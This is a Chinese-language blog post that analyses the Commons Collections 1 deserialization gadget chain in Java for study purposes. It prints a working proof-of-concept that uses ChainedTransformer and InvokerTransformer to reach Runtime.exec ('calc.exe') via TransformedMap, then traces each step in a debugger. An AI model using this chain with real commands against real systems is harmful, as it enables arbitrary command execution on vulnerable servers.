Java安全之Commons Collections1分析(一)
2022-03-31 21:29:33 # Java安全

前言

在CC链的前置基础学习完后,就可以开始学习CC链的具体执行流程。

CC链分析

先来看下poc代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class test {

public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};

//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformer
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
onlyElement.setValue("test");
}
}

下面逐一分析

先看下面这段代码,ConstantTransformerInvokerTransformer都是Transformer接口的实现类,通过new创建了一个 Transformer类型的数组,里面存储的是 Transformer的实现类对象。

1
2
3
4
5
6
7
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};

ConstantTransformer分析

先来分析一下ConstantTransformer

image-20220331213801907

这里是使用了构造方法传入参数,poc中传入的参数为Runtime.class,而在调用到transform时,会返回我们传入的参数,也就是返回这里的iConstant

InvokerTransformer分析

打一个debug跟踪到InvokerTransformer类的构造方法里面

image-20220331214256009

可以看到传入到构造方法中有三个参数,第一个是方法名,第二个是参数类型,第三个是参数的值。

poc里的三个InvokerTransformer的参数值,如下

1
2
3
getMethod,new Class[]{String.class, Class[].class},new Object[] {"getRuntime", new Class[0] }
invoke,new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}
exec,new Class[]{String.class},new Object[]{"calc.exe"}

InvokerTransformer类中同样存在transform方法,后面再具体分析

image-20220331214746902

ChainedTransformer分析

poc代码继续往下分析,可以看到如下代码

1
Transformer transformerChain = new ChainedTransformer(transformers);

transformers数组传入ChainedTransformer构造方法里面。在构造方法中将transformers赋值给本类的成员变量iTransformers

image-20220331215101175

该类同样存在transform方法

image-20220331215116950

transform方法的作用会遍历transformers数组,然后逐个去调用它的transform方法。 并且还可以看出该方法会将第一次的执行结果传递给第二次执行的参数里面去。知道了ChainedTransformer的作用后,我们需要知道的是ChainedTransformertransform什么时候会被调用。继续往下调试

image-20220331215715632

进入setValue方法,继续跟进,可以在TransformedMap#checkSetValue方法中发现调用了ChainedTransformertransform方法,这里之前在前置学习中就已经分析过了

image-20220331215643925

后面自然就循环调用每个Transformertransform方法

image-20220331215924083

根据顺序,会调用第一个ConstantTransformertransform方法,也就是返回构造函数中设置的iConstant,这里就是Runtime.class

image-20220331220101252

接着往下,就到了InvokerTransformer,可以看到参数input的值是上个Transformer返回的结果Runtime.class,后面就是利用反射拿到Runtime对象,因为Runtime没有构造方法需要调用getRuntime()方法获取到Runtime对象,所以这里的流程是:

1
Runtime.getClass().getMethod("getRuntime",null).invoke() -> Method

image-20220331220634207

继续跟,来到第二个InvokerTransformer,分析如上,因为上面获得了一个Method,那么我们就需要调用它的invoke方法来执行,所以这里getMethod方法里的参数值为invoke,第二个参数即参传入的参数类型Object

image-20220331222329120

接着往下,来到第三个InvokerTransformer,也就是最后一个Transformer,这里可以看到输入input成功拿到Runtime对象,现在只需要执行Runtime#exe方法即可,同样先通过getMethod方法拿到exec对应的Method,所以这里getMethod的第一个参数,就是exec,第二个参数即exec方法执行的参数类型String,返回method,然后调用invoke执行,参数为calc.exe。

image-20220331223102622

之后弹出计算器

image-20220331224112138

整个过程归纳

1
通过ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法,然后通过反射执行invoke才能去调用getRuntime方法,这样得到一个Runtime对象,然后再去调用Runtime对象的exec方法去达到命令执行。

transform方法调用分析

分析下poc中TransformedMap#decorate方法

1
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

调试进入decorate方法,然后跟进来到TransformedMap的构造方法

image-20220331224824509

构造方法把传入的map和Transformer进行赋值。那么要想知道ChainedTransformer是如何调用transform方法,只需在当前类中搜索valueTransformer,因为ChainedTransformer是赋值给valueTransformer的,然后在transformValue方法中发现了transform方法的调用

image-20220331225034010

继续查找transformValue方法是在哪被调用的,发现在put方法里会调用transformValue方法,从而导致transformValue调用transform方法去执行命令。

image-20220331225503104

所以我们在调用TransformedMap#decorate方法绑定transformer之后,再调用put方法也可触发命令执行。

image-20220331225850271

参考

https://www.cnblogs.com/nice0e3/p/13779857.html